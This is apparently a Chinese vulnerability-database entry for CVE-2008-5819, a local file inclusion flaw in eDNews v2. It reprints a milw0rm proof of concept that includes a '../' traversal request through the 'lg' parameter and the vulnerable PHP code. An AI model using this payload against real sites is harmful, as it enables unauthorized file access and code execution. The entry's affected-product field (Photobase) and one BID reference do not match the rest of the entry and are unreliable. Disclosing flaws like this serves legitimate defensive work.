eDreamers eDContainer 脚本eDNews_archive.php 目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117170 漏洞类型 路径遍历
发布时间 2008-12-29 更新时间 2009-01-27
CVE编号 CVE-2008-5819 CNNVD-ID CNNVD-200901-014
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7603
https://www.securityfocus.com/bid/33205
https://cxsecurity.com/issue/WLB-2009010120
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-014
|漏洞详情
eDreamerseDNews2版本中的eDNews_archive.php存在目录遍历漏洞。当magic_quotes_gpc被禁用时,远程攻击者可以借助lg参数中的‘..’目录遍历符,包含和运行任意的本地文件。
|漏洞EXP
_____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|



eDNews v2 (lg) Local File Inclusion Vulnerability
Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDNews_v2.zip
Poc : /eDNews_archive.php?lg=../../../../index
Vuln Code :
File eDNews_archive.php

require_once dirname( __FILE__ ).'/myConfig.php';<< 1
require_once dirname( __FILE__ ).'/languages/'.$CONFIG['language'].'.php'; << 2

File myConfig.php

if ( isset( $_REQUEST['lg'] ) ) { 
    $CONFIG['language'] = $_REQUEST['lg']; 

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-12-29]
|受影响的产品
X-Interactive Photobase 1.2
|参考资料

来源:BID
名称:33027
链接:http://www.securityfocus.com/bid/33027
来源:MILW0RM
名称:7603
链接:http://www.milw0rm.com/exploits/7603
来源:SREASON
名称:4864
链接:http://securityreason.com/securityalert/4864
来源:SECUNIA
名称:33336
链接:http://secunia.com/advisories/33336